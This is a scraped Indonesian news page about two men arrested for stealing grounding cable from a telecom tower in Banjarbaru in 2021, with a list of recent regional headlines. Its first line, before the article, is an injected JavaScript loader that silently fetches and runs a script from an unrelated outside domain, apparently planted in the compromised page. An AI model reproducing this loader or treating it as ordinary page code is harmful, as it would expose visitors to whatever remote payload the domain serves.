(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Potong Kabel BTS di Guntung Manggis, Dua Laki-laki Ditangkap Polisi


KANALKALIMANTAN.COM, BANJARBARU – Dua laki-laki spesialis pencuri kabel di Base Transceiver Station (BTS) diringkus aparat Polsek Banjarbaru Barat. Aksi dua pengutil di tower telekomunikasi itu terjadi pada Kamis (9/9/2021) di Jalan Karang Rejo, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.

Pelaku beraksi sekitar pukul 23.00 Wita, ketika pelaku beraksi pada waktu tersebut kedapatan salah seorang saksi. Setelah itu kedua pelaku diamankan saat melakukan pencurian kabel di BTS tersebut.

M Dian Azmi (23) langsung melaporkan kejadian tersebut ke pihak pimpinan perusahan, karena pihak perusahan mengalami kerugian akibat pencurian tersebut sebesar Rp 1 juta.

Kapolsek Banjarbaru Barat, AKP Yuda Kumoro Pardede melalu Kasi Humas Polsek Banjarbaru Barat, Iptu Kardi Gunadi, membenarkan tentang kejadian tersebut.

 

Baca juga : Satu Keluarga Tewas Tertimbun Pakaian di Banjarmasin, Polisi Sebut Murni Kecelakaan

“Pelaku kami amankan di Mapolsek Banjarbaru Barat, dari keterangan kedua pelaku mereka mengakui pencurian tersebut dengan cara memotong kabel,” kata Ipyu Kardi Gunadi.

Pelaku diamankan ke Mapolsek Banjarbaru Barat pada hari Jumat (10/9/2021) pukul 01.00 Wita oleh Tim Reskrim Polsek Banjarbaru Barat.

Identitas kedua pelaku tersebut AR (31), warga jalan Martapur Lama Km 14,500, RT 001, Kelurahan Sungai Tabuk, Kabupaten Banjar. Pelaku kedua S (31), warga jalan Pangeran Antasari RT 004 RW 001, Kelurahan Tirta Jaya, Kecamatan Bajuin, Kabupaten Tanah Laut.

Barang bukti yang berhasil diamankan satu buah kabel grounding dengan panjang sekitar 4 meter, satu unit sepeda motordan beberapa jenis tang yang digunakan pelaku kala beraksi.

“Pelaku tindak pidana akan dijatuhi dengan pemberatan sebagaimana yang dimaksud dalam pasal 363 ayat 1 ke 4 dan ke 5 KUHPidana,” tutupnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

1 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

2 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

4 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

6 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

6 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

8 jam ago

This website uses cookies.